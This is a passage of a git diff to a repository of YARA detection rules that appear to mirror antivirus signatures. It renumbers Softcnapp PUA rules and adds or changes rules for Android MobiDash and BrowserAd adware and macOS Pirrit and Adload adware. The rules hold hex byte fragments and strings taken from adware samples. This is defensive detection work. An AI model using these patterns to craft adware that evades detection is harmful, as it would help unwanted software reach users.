2e 69 6e 69 } //UseVestige.ini 1 + $a_80_3 = {57 6e 55 74 69 6c 69 74 79 2e 65 78 65 } //WnUtility.exe 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 + +} +rule _#PUA_Block_Softcnapp_7{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {58 69 61 5a 61 69 51 69 5c 50 72 6f 6a 65 63 74 43 6f 70 79 5c 4d 69 78 65 64 5c 70 64 62 6d 61 70 5c 57 61 6e 4e 65 6e 67 5c } //XiaZaiQi\ProjectCopy\Mixed\pdbmap\WanNeng\ 2 + $a_80_1 = {49 6e 73 74 61 6c 6c 2e 70 64 62 } //Install.pdb 1 + $a_80_2 = {68 61 78 78 2e 73 65 } //haxx.se 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_Softcnapp_8{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_80_0 = {74 6a 74 76 33 2e 77 6e 35 31 2e 63 6f 6d } //tjtv3.wn51.com 2 + $a_80_1 = {77 77 77 2e 77 6e 77 62 2e 63 6f 6d } //www.wnwb.com 1 + $a_80_2 = {57 61 6e 4e 65 6e 67 57 42 49 6e 66 6f 2e 69 6e 69 } //WanNengWBInfo.ini 1 + $a_80_3 = {57 6e 49 6d 65 4d 61 6e 61 67 65 72 2e 65 78 65 } //WnImeManager.exe 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 + +} +rule _#PUA_Block_Softcnapp_9{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " @@ -38,7 +112,7 @@ rule _#PUA_Block_Softcnapp_3{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*-10) >=3 } -rule _#PUA_Block_Softcnapp_4{ +rule _#PUA_Block_Softcnapp_10{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " @@ -51,7 +125,7 @@ rule _#PUA_Block_Softcnapp_4{ ((#a_02_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*-5) >=3 } -rule _#PUA_Block_Softcnapp_5{ +rule _#PUA_Block_Softcnapp_11{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -65,7 +139,7 @@ rule _#PUA_Block_Softcnapp_5{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_6{ +rule _#PUA_Block_Softcnapp_12{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -79,7 +153,7 @@ rule _#PUA_Block_Softcnapp_6{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_7{ +rule _#PUA_Block_Softcnapp_13{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -93,7 +167,7 @@ rule _#PUA_Block_Softcnapp_7{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_8{ +rule _#PUA_Block_Softcnapp_14{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " @@ -106,7 +180,7 @@ rule _#PUA_Block_Softcnapp_8{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_9{ +rule _#PUA_Block_Softcnapp_15{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -120,7 +194,7 @@ rule _#PUA_Block_Softcnapp_9{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_10{ +rule _#PUA_Block_Softcnapp_16{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -134,7 +208,7 @@ rule _#PUA_Block_Softcnapp_10{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_11{ +rule _#PUA_Block_Softcnapp_17{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " @@ -148,7 +222,7 @@ rule _#PUA_Block_Softcnapp_11{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-5) >=4 } -rule _#PUA_Block_Softcnapp_12{ +rule _#PUA_Block_Softcnapp_18{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " @@ -163,7 +237,7 @@ rule _#PUA_Block_Softcnapp_12{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100) >=5 } -rule _#PUA_Block_Softcnapp_13{ +rule _#PUA_Block_Softcnapp_19{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " @@ -177,7 +251,7 @@ rule _#PUA_Block_Softcnapp_13{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_00_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-5) >=4 } -rule _#PUA_Block_Softcnapp_14{ +rule _#PUA_Block_Softcnapp_20{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -191,7 +265,7 @@ rule _#PUA_Block_Softcnapp_14{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_15{ +rule _#PUA_Block_Softcnapp_21{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 00 " @@ -206,7 +280,7 @@ rule _#PUA_Block_Softcnapp_15{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100) >=4 } -rule _#PUA_Block_Softcnapp_16{ +rule _#PUA_Block_Softcnapp_22{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 00 " @@ -223,7 +297,7 @@ rule _#PUA_Block_Softcnapp_16{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100+(#a_80_7 & 1)*-100) >=5 } -rule _#PUA_Block_Softcnapp_17{ +rule _#PUA_Block_Softcnapp_23{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -236,7 +310,7 @@ rule _#PUA_Block_Softcnapp_17{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_Softcnapp_18{ +rule _#PUA_Block_Softcnapp_24{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -250,7 +324,7 @@ rule _#PUA_Block_Softcnapp_18{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_19{ +rule _#PUA_Block_Softcnapp_25{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 00 " @@ -268,7 +342,7 @@ rule _#PUA_Block_Softcnapp_19{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*-100+(#a_80_7 & 1)*-100+(#a_80_8 & 1)*-100) >=6 } -rule _#PUA_Block_Softcnapp_20{ +rule _#PUA_Block_Softcnapp_26{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -283,7 +357,7 @@ rule _#PUA_Block_Softcnapp_20{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _#PUA_Block_Softcnapp_21{ +rule _#PUA_Block_Softcnapp_27{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -299,7 +373,7 @@ rule _#PUA_Block_Softcnapp_21{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_Softcnapp_22{ +rule _#PUA_Block_Softcnapp_28{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 00 " @@ -317,7 +391,7 @@ rule _#PUA_Block_Softcnapp_22{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*-100+(#a_80_8 & 1)*-100) >=7 } -rule _#PUA_Block_Softcnapp_23{ +rule _#PUA_Block_Softcnapp_29{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 00 " @@ -337,7 +411,7 @@ rule _#PUA_Block_Softcnapp_23{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*-5) >=3 } -rule _#PUA_Block_Softcnapp_24{ +rule _#PUA_Block_Softcnapp_30{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 00 " @@ -358,7 +432,7 @@ rule _#PUA_Block_Softcnapp_24{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_00_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*-5) >=3 } -rule _#PUA_Block_Softcnapp_25{ +rule _#PUA_Block_Softcnapp_31{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -373,7 +447,7 @@ rule _#PUA_Block_Softcnapp_25{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 } -rule _#PUA_Block_Softcnapp_26{ +rule _#PUA_Block_Softcnapp_32{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 00 " @@ -388,7 +462,7 @@ rule _#PUA_Block_Softcnapp_26{ ((#a_80_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_80_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1) >=4 } -rule _#PUA_Block_Softcnapp_27{ +rule _#PUA_Block_Softcnapp_33{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " @@ -404,7 +478,7 @@ rule _#PUA_Block_Softcnapp_27{ ((#a_80_0 & 1)*2+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*2+(#a_02_4 & 1)*2+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=5 } -rule _#PUA_Block_Softcnapp_28{ +rule _#PUA_Block_Softcnapp_34{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " @@ -415,7 +489,7 @@ rule _#PUA_Block_Softcnapp_28{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 } -rule _#PUA_Block_Softcnapp_29{ +rule _#PUA_Block_Softcnapp_35{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " @@ -427,7 +501,7 @@ rule _#PUA_Block_Softcnapp_29{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _#PUA_Block_Softcnapp_30{ +rule _#PUA_Block_Softcnapp_36{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 00 " @@ -441,7 +515,7 @@ rule _#PUA_Block_Softcnapp_30{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _#PUA_Block_Softcnapp_31{ +rule _#PUA_Block_Softcnapp_37{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " diff --git a/Adware/AndroidOS/BrowserAd/Adware_AndroidOS_BrowserAd_A_MTB.yar b/Adware/AndroidOS/BrowserAd/Adware_AndroidOS_BrowserAd_A_MTB.yar new file mode 100644 index 0000000000..32bb54a1a6 --- /dev/null +++ b/Adware/AndroidOS/BrowserAd/Adware_AndroidOS_BrowserAd_A_MTB.yar @@ -0,0 +1,13 @@ + +rule Adware_AndroidOS_BrowserAd_A_MTB{ + meta: + description = "Adware:AndroidOS/BrowserAd.A!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {6f 70 65 6e 4f 6e 63 6c 69 63 6b 4c 69 6e 6b } //1 openOnclickLink + $a_01_1 = {64 65 76 2f 61 70 70 6c 61 62 7a 2f 61 64 2f 61 63 74 69 76 69 74 79 2f 54 72 61 6e 73 70 61 72 65 6e 74 43 6c 69 63 6b 65 72 } //1 dev/applabz/ad/activity/TransparentClicker + $a_01_2 = {22 00 92 24 1a 01 20 b5 70 20 f9 df 10 00 60 01 dc bd 54 d1 dd bd 54 12 9e 76 6e 20 04 e0 20 00 6e 10 13 e0 00 00 0c 00 6e 10 9a 08 01 00 0c 02 1a 03 07 8d 71 20 bb e5 32 00 60 03 44 10 13 04 00 20 12 05 12 16 1a 07 4c df 13 08 1d 00 1a 09 c4 b6 12 0a } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AF_MTB.yar b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AF_MTB.yar new file mode 100644 index 0000000000..fec7991e8c --- /dev/null +++ b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AF_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_AndroidOS_Mobidash_AF_MTB{ + meta: + description = "Adware:AndroidOS/Mobidash.AF!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2f 6d 6f 62 61 70 70 73 62 61 6b 65 72 2f 75 61 65 6f 66 66 65 72 73 } //1 com/mobappsbaker/uaeoffers + $a_03_1 = {6e 10 b4 01 01 00 62 01 ?? 24 6e 10 b4 01 01 00 22 01 c4 00 54 02 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AG_MTB.yar b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AG_MTB.yar new file mode 100644 index 0000000000..d0772ef00f --- /dev/null +++ b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AG_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_AndroidOS_Mobidash_AG_MTB{ + meta: + description = "Adware:AndroidOS/Mobidash.AG!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {65 00 14 06 1c 00 0d 7f 6e 20 ?? 11 65 00 6e 10 ?? 15 05 00 0c 06 5b 56 } //1 + $a_03_1 = {96 14 06 b8 00 0a 7f 6e 20 ?? 11 65 00 0c 06 5b 56 ?? 96 14 06 9d 02 0a 7f 6e 20 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AI_MTB.yar b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AI_MTB.yar new file mode 100644 index 0000000000..0d8a542779 --- /dev/null +++ b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AI_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_AndroidOS_Mobidash_AI_MTB{ + meta: + description = "Adware:AndroidOS/Mobidash.AI!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {43 54 00 0c 04 21 45 01 26 35 56 11 00 46 07 04 06 6e 10 ?? 43 07 00 1a 08 } //1 + $a_03_1 = {12 00 6e 20 50 01 03 00 0c 00 1a 01 ?? 7e 1a 02 00 00 72 30 73 03 10 02 0c 00 1a 01 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AJ_MTB.yar b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AJ_MTB.yar new file mode 100644 index 0000000000..2d3311df0a --- /dev/null +++ b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_AndroidOS_Mobidash_AJ_MTB{ + meta: + description = "Adware:AndroidOS/Mobidash.AJ!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {63 6f 6d 2f 64 65 78 74 72 61 64 65 2f 61 6e 64 72 6f 69 64 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 } //1 com/dextrade/android/MainActivity + $a_03_1 = {32 04 00 6e 10 ?? 3d 04 00 0c 00 72 10 ?? 55 00 00 0c 00 54 41 ?? 21 38 01 0c 00 22 02 19 00 12 03 70 30 62 00 42 03 6e 30 ?? 9f 10 02 0e 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AK_MTB.yar b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AK_MTB.yar new file mode 100644 index 0000000000..586418a23b --- /dev/null +++ b/Adware/AndroidOS/MobiDash/Adware_AndroidOS_Mobidash_AK_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_AndroidOS_Mobidash_AK_MTB{ + meta: + description = "Adware:AndroidOS/Mobidash.AK!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2f 65 78 70 72 65 73 73 65 78 70 65 6e 73 65 2f 62 6c 75 65 74 6f 6f 74 68 2f 70 72 69 6e 74 2f 4d 61 69 6e 5f 41 63 74 69 76 69 74 79 } //1 com/expressexpense/bluetooth/print/Main_Activity + $a_03_1 = {5d 01 00 54 30 ?? 48 14 01 0c 00 01 7f 14 02 0d 00 01 7f 6e 30 ?? 5d 10 02 54 30 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/MacOS/Adload/Adware_MacOS_Adload_R_MTB.yar b/Adware/MacOS/Adload/Adware_MacOS_Adload_R_MTB.yar index df325924f6..92fdaaad1e 100644 --- a/Adware/MacOS/Adload/Adware_MacOS_Adload_R_MTB.yar +++ b/Adware/MacOS/Adload/Adware_MacOS_Adload_R_MTB.yar @@ -4,9 +4,9 @@ rule Adware_MacOS_Adload_R_MTB{ description = "Adware:MacOS/Adload.R!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " strings : - $a_03_0 = {8b 18 f7 c3 80 80 80 80 0f 85 ?? ?? ?? ?? 88 1a 8a 48 01 88 4a 01 8a 48 02 88 4a 02 8a 48 03 88 4a 03 48 83 c2 04 48 83 c0 04 49 83 c4 fc 49 83 fc 03 } //1 - $a_03_1 = {bb ff 07 00 00 b8 01 00 00 00 41 8a 0c 1c 80 e1 c0 80 f9 80 75 ?? 48 ff c0 48 ff cb 48 83 f8 04 76 ?? bb 00 08 00 00 4c 89 ff 4c 89 e6 48 89 da e8 3f f9 ff ff 49 01 dc 49 29 de } //1 + $a_01_0 = {4c 01 f2 c6 02 26 49 8b 86 08 28 00 00 41 c6 44 06 01 71 49 8b 86 08 28 00 00 41 c6 44 06 02 75 49 8b 86 08 28 00 00 41 c6 44 06 03 6f 49 8b 86 08 28 00 00 41 c6 44 06 04 74 49 8b 86 08 28 00 00 41 c6 44 06 05 3b 49 83 86 08 28 00 00 06 8a 0b 49 89 dc 4c 89 e6 84 c9 } //1 + $a_01_1 = {31 c0 48 89 43 28 48 89 43 30 48 89 43 38 31 c0 80 bb 92 01 00 00 00 0f 94 c0 b9 68 00 00 00 ba 40 00 00 00 48 0f 44 d1 48 c1 e0 04 48 8b 0c 13 48 8b 74 03 60 48 01 ce 48 89 4b 10 4c 8d 7b 18 48 89 73 18 48 89 73 20 c7 83 8c 01 00 00 08 00 00 00 b0 01 } //1 condition: - ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } \ No newline at end of file diff --git a/Adware/MacOS/NewTab/Adware_MacOS_NewTab_B.yar b/Adware/MacOS/NewTab/Adware_MacOS_NewTab_B.yar deleted file mode 100644 index aa054f71db..0000000000 --- a/Adware/MacOS/NewTab/Adware_MacOS_NewTab_B.yar +++ /dev/null @@ -1,16 +0,0 @@ - -rule Adware_MacOS_NewTab_B{ - meta: - description = "Adware:MacOS/NewTab.B,SIGNATURE_TYPE_MACHOHSTR_EXT,0d 00 0d 00 06 00 00 " - - strings : - $a_01_0 = {67 65 74 78 61 74 74 72 } //1 getxattr - $a_02_1 = {43 6f 6e 74 65 6e 74 73 2f 4c 69 62 72 61 72 79 2f 4c 6f 67 69 6e 49 74 65 6d 73 2f [0-40] 2e 61 70 70 } //3 - $a_01_2 = {63 6f 6d 2e 61 70 70 6c 65 2e 53 61 66 61 72 69 } //1 com.apple.Safari - $a_01_3 = {63 6f 6e 74 65 6e 74 73 50 72 6f 76 69 64 65 72 } //3 contentsProvider - $a_01_4 = {73 65 74 43 75 72 72 65 6e 74 54 61 62 3a } //2 setCurrentTab: - $a_01_5 = {6f 70 65 72 61 74 69 6e 67 53 79 73 74 65 6d 56 65 72 73 69 6f 6e } //3 operatingSystemVersion - condition: - ((#a_01_0 & 1)*1+(#a_02_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*3+(#a_01_4 & 1)*2+(#a_01_5 & 1)*3) >=13 - -} \ No newline at end of file diff --git a/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_W_MTB.yar b/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_W_MTB.yar new file mode 100644 index 0000000000..20950492eb --- /dev/null +++ b/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_W_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_MacOS_Pirrit_W_MTB{ + meta: + description = "Adware:MacOS/Pirrit.W!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {8a 05 42 29 02 00 8d 0c 00 80 e1 a8 04 54 0f b6 15 32 29 02 00 66 0f 6e ca 0f b6 c0 66 0f 3a 20 c8 01 66 0f 6e 05 21 29 02 00 66 0f 6f d1 66 0f 3a 20 15 11 29 02 00 02 66 0f 3a 20 15 08 29 02 00 03 66 0f 62 d0 0f b6 c1 66 0f 6f 05 dc a7 00 00 66 0f ef d0 66 0f 3a 20 c0 01 66 0f f8 c8 0f 28 05 c7 40 00 00 66 0f 38 10 ca 66 0f d6 0d e2 28 02 00 0f b7 05 df 25 02 00 66 0f 6e c8 66 0f 6e 05 d6 25 02 00 8a 05 d4 25 02 00 89 c1 f6 d1 0c 1b 66 0f 3a 20 0d bf 25 02 00 02 80 c9 e4 66 0f 60 c1 66 0f 38 00 05 31 40 00 00 20 c1 } //1 + $a_01_1 = {66 0f 3a 20 c1 03 80 e2 64 0f b6 c0 66 0f 3a 20 c0 04 0f b6 c2 66 0f 3a 20 c0 05 66 0f f8 c8 0f 28 05 0b 7f 03 00 66 0f 38 10 ca 66 0f d6 0d e3 78 04 00 8a 05 c5 78 04 00 34 6c 88 05 dd 78 04 00 8a 05 b8 78 04 00 34 9e 88 05 d0 78 04 00 8a 05 ab 78 04 00 34 c0 88 05 c3 78 04 00 8a 05 9e 78 04 00 8d 0c 00 80 e1 8e 28 c8 04 c7 88 05 ae 78 04 00 66 0f 6e 0d b7 78 04 00 8a 15 b5 78 04 00 8d 04 12 80 c2 73 f3 0f 7e 05 aa 78 04 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_Y_MTB.yar b/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_Y_MTB.yar new file mode 100644 index 0000000000..90d7172148 --- /dev/null +++ b/Adware/MacOS/Pirrit/Adware_MacOS_Pirrit_Y_MTB.yar @@ -0,0 +1,12 @@ + +rule Adware_MacOS_Pirrit_Y_MTB{ + meta: + description = "Adware:MacOS/Pirrit.Y!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {9c d4 00 00 34 60 88 05 9a d4 00 00 8a 05 8f d4 00 00 8d 0c 00 80 e1 6a 28 c8 04 35 88 05 85 d4 00 00 8a 05 7a d4 00 00 34 ec 88 05 78 d4 00 00 8a 05 6d d4 00 00 89 c1 f6 d1 80 c9 21 0c de 20 c8 88 05 62 d4 00 00 8a 05 5d d4 00 00 34 2b } //1 + $a_01_1 = {80 e1 58 28 c8 04 2c 88 05 f9 d0 00 00 8a 05 e8 d0 00 00 34 6e 88 05 ec d0 00 00 b8 3b d4 82 1b 33 05 e2 d0 00 00 89 05 ec d0 00 00 8a 05 da d0 00 00 34 09 88 05 e2 d0 00 00 8a 05 cd d0 00 00 34 91 88 05 d5 d0 00 00 8a 05 c0 d0 00 00 88 05 ca d0 00 00 8a 05 b5 d0 00 00 34 d3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Adware/Win32/AdRotator/Adware_Win32_AdRotator.yar b/Adware/Win32/AdRotator/Adware_Win32_AdRotator.yar index f210673c23..55aea4f31c 100644 --- a/Adware/Win32/AdRotator/Adware_Win32_AdRotator.yar +++ b/Adware/Win32/AdRotator/Adware_Win32_AdRotator.yar @@ -589,12 +589,13 @@ rule Adware_Win32_AdRotator_36{ $a_01_53 = {83 ef 28 b8 67 66 66 66 f7 ef c1 fa 04 8b c2 c1 e8 1f 03 c2 83 c4 08 83 ee 28 83 f8 01 } //1 $a_01_54 = {89 55 08 83 65 fc 00 8b 4d 0c 8b 39 89 3a 83 21 00 83 4d fc ff } //1 